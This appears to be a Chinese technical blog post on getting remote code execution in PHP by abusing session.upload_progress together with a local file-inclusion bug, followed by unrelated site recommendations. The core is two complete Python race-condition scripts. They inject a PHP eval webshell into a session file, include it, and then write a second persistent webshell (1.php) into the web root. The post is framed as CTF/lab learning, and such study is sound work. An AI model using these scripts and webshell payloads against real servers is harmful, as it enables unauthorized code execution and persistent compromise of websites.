小工具      在线工具  汉语词典  css  js  c++  java

使用session包含文件的详解

php,服务器,开发语言,安全 额外说明

收录于:40天前

什么是session.upload_progress?

open_basedirallow_url_fopenallow_url_include等PHP配置一样,session.upload_progress也是PHP的一个功能,同样可以在php.ini中设置相关属性。其中最重要的几个设置如下:

session.upload_progress.enabled = onsession.upload_progress.cleanup = onsession.upload_progress.prefix = "upload_progress_"session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
  • session.upload_progress.enabled 可以控制是否开启session.upload_progress功能

  • session.upload_progress.cleanup可以控制上传后是否删除文件内容

  • session.upload_progress.prefix 可以设置上传文件内容的前缀

  • session.upload_progress.name的值为session中的键值

session.upload_progress开启后会有什么效果?

当我们将session.upload_progress.enabled的值设置为时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。

问题一:

那么这时候就会有一个前提,就是如何初始化session,并将session的内容写入到文件中呢?

分析一:

我们可以注意到,php.ini中session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去,具体文件的内容是什么,后面会写到。

问题2:

当session.upload_progress.cleanup的值为on时,即使上传了文件,上传完成后也会清除文件内容。我应该怎么办?

分析2:

利用Python的多线程,进行有条件竞争

如何使用session.upload_progress进行RCE?

然而,无论有多少理论,都是无用的。你还是要一步步调试,看看文件上传时整个PHP服务器发生了什么情况。所以还需要做实验。

首先,在网站根目录下随便新建一个测试.php文件

然后编写一个Python程序将文件上传到服务器:

这里有几点需要注意:

  • 上传的文件大小为50KB,文件名为Lxxx.jpg

  • 该程序设置的sessionid为Lxxx,也就是说会在/tmp目录下生成sess_Lxxx文件

  • 该程序设置的PHP_SESSION_UPLOAD_PROGRESS值为一句话木马,也就是说,在理论上,一句话木马会被写入到/tmp/sess_Lxxx


import requests
import io
url = "http://192.168.2.128/test.php"
sessid = "Lxxx"

def write(session):
   filebytes = io.BytesIO(b'a' * 1024 * 50)
   while True:
       res = session.post(url,
           data={
               'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
              },
           cookies={
               'PHPSESSID': sessid
              },
           files={
               'file': ('Lxxx.jpg', filebytes)
              }
          )

if __name__ == "__main__":
   with requests.session() as session:
       write(session)

执行程序后,我们需要用tail -f命令实时查看/tmp/sess_Lxxx文件,因为在本地测试速度比较快,如果使用cat命令,文件内容还没输出就被删除了。

tail -f /tmp/sess_Lxxx

结果如下:

也就是说,/tmp/sess_Lxxx文件中的内容为:

upload_progress_<?php eval($_POST[1]);?>|a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}

仔细分析一下该文件内容,该文件分为两块,以竖线|区分。

第一个块的内容如下:

upload_progress_<?php eval($_POST[1]);?>

这一块内容由以下两个值组成:session.upload_progress.name+PHP_SESSION_UPLOAD_PROGRESS

第二块的内容如下:

a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}

乍一看,就是序列化值。我们将其反序列化并输出:

array(5) {
   ["start_time"]=> int(1631343214)["content_length"]=> int(276)["bytes_processed"]=> int(276)["done"]=> bool(false)["files"]=> array(1) {
     [0]=>   array(7) {
       ["field_name"]=>     string(4) "file"    ["name"]=>     string(8) "Lxxx.jpg"    ["tmp_name"]=>     NULL    ["error"]=>     int(0)    ["done"]=>     bool(false)    ["start_time"]=>     int(1631343214)    ["bytes_processed"]=>     int(276)  }}}

可以看到这里记录了文件上传时间、文件大小、文件名等文件属性。

接下来在网站根目录新建一个测试.php文件,文件内容如下:​​​​​​​

<?php$a = $_GET["a"];include($a);

显然存在文件包含漏洞。

接下来我们利用session.upload_progress进行有条件竞争

下面的代码有几点需要注意:

  • 首先write函数和上面一样,这里不再赘述。

  • 整个代码的思路就是,往/tmp/sess_Lxxx文件中写入一句话木马,密码为1,然后用题目中的文件包含漏洞,包含这一个文件,在函数read中尝试利用/tmp/sess_Lxxx的一句话往网站根目录文件1.php写一句话木马,密码为2

  • 利用Python的多线程,一边上传文件,一边尝试往根目录中写入1.php,如果成功写入了,就打印输出“成功写了一句话”

  • 这里我们利用Python的threading模块开启5个线程进行条件竞争。

代码如下:​​​​​​​


import requests
import io
import threading

url = "http://192.168.2.128/test.php"
sessid = "Lxxx"

def write(session):
   filebytes = io.BytesIO(b'a' * 1024 * 50)
   while True:
       res = session.post(url,
           data={
               'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
              },
           cookies={
               'PHPSESSID': sessid
              },
           files={
               'file': ('Lxxx.jpg', filebytes)
              }
          )

def read(session):
   while True:
       res = session.post(url+"?a=/tmp/sess_"+sessid,
                          data={
                              "1":"file_put_contents('/www/admin/localhost_80/wwwroot/1.php' , '<?php eval($_POST[2]);?>');"
                          },
                          cookies={
                              "PHPSESSID":sessid
                          }
                          )
       res2 = session.get("http://192.168.2.128/1.php")
       if res2.status_code == 200:
           print("成功写入一句话!")
       else:
           print("Retry")



if __name__ == "__main__":
   evnet = threading.Event()
   with requests.session() as session:
       for i in range(5):
           threading.Thread(target=write, args=(session,)).start()
       for i in range(5):
           threading.Thread(target=read, args=(session,)).start()
   evnet.set()

代码执行结果如下:

一开始总是会显示Retry,但是只要运行一段时间,一句话就会写成功。

可以在网站根目录下看到,成功写了一句话。

参考

  • Nu1L团队的书《从0到1 CTFeer的成长之路》P140-141

  • https://www.freebuf.com/vuls/202819.html

实用推荐:PHP竞争条件漏洞

PC端实际操作地址:http://mrw.so/5JFZS1

当多个线程在没有锁定或同步操作的情况下同时访问相同的共享代码、变量、文件等时,就会出现“竞争条件”。

. . .

相关推荐

额外说明

WEB网页基础(代码是最好的例子)

<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>My web</title> </head> <body> <!-- sup标签的是上标,sub标签代表的是下标。 --> 2x<s

额外说明

【Jekyll】使用GitHub Pages + Jekyll搭建自己的技术博客,Jekyll服务器的搭建

一、前言 前段时间根据大佬-纯洁的微笑的文章-技术人如何搭建自己的技术博客,搭建了自己的个人技术博客http://www.qq764424567.top/,就将搭建的过程,以及Jekyll服务器的搭建和启动,总结一下 PS:话说不会Web的程序员搭建网站

额外说明

python读取excel数据到mysql

最近工作中需要临时将外部的excel数据导入到自己公司的系统中,作为原始的数据进行后续处理,一开始打算写一段程序进行处理的,想想还是放弃了,因为java程序读取excel的数据到mysql总体来说还是比较麻烦的,而且字段要一一对应上,如果是字段特别多,碰

额外说明

Java中常用的API概览及示例解析

文章目录 1. java.lang包 1.1 String类 1.2 StringBuilder类 2. java.util包 2.1 ArrayList类 2.2 HashMap类 3. java.io包 3.1 File类 3.2 FileInput

额外说明

Mybatis-Plus详细解读(三)Mybatis-Plus常用注解

常用注解 1、@TableName 在实体类类型上添加@TableName(“t_user”),标识实体类对应的表,即可成功执行SQL语句,解决实体类类型的类名和要操作的表的表名不一致 2、@TableId 在实体类中uid属性上通过@TableId将其

额外说明

作为开发人员,无代码开发平台 iVX 你有必要了解一下

近些年来,低代码的发展趋势可谓是蒸蒸日上,毫不夸张的说低代码将是人类社会发展的比必然趋势。为什么这么说呢? 人类的发展史其实就是一个被 “懒” 字驱动的历史,懒得走路所以发明了汽车,懒得画所以发明了相机。写代码也是如此,正是因为不想写那么多的代码,所以

额外说明

系统缺失MFCN42D.DLL文件导致游戏或软件无法运行怎么办?

其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个MFCN42D.DLL文件(

额外说明

运行某程序提示XAudio2_5.dll丢失找不到如何解决?

其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或者损坏了,这时你只需下载这个XAudio2_5.dll文件进行安装(前提是找到适合的版本)

额外说明

wordpress端口更改_如何在WordPress中动态更改嵌入的宽度和高度

WordPress 端口更改 In our earlier article, we showed you 如何使用 $content_width 在 WordPress 3.5 中设置 oEmbed 最大宽度. That is a perfectly g

ads via 小工具